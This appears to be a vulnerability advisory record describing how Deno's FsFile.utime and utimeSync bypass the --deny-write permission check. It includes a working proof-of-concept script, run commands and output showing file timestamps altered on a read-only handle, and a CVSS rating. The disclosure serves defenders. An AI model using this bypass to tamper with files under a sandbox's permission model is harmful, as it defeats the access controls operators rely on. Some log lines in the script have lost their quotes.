Deno's --deny-write check does not prevent permission bypass
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
Setup:
```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test.txt
```
```js
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(BEFORE (utime))
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(AFTER (utime))
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(BEFORE (utimeSync))
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(AFTER (utimeSync))
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
```
Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1```
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
```
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2```
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
```
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
```
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
```
Permission model bypass
This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
JLSEC-2026-111 is recorded against 1 package.
Published on 14 April 2026 and last revised on 18 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
nvd.nist.gov (Web)
deno-jll has other advisories on record. If you are patching this one, these are worth checking on the same host:
Details
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| deno-jll | — | — |
References
Similar Threats
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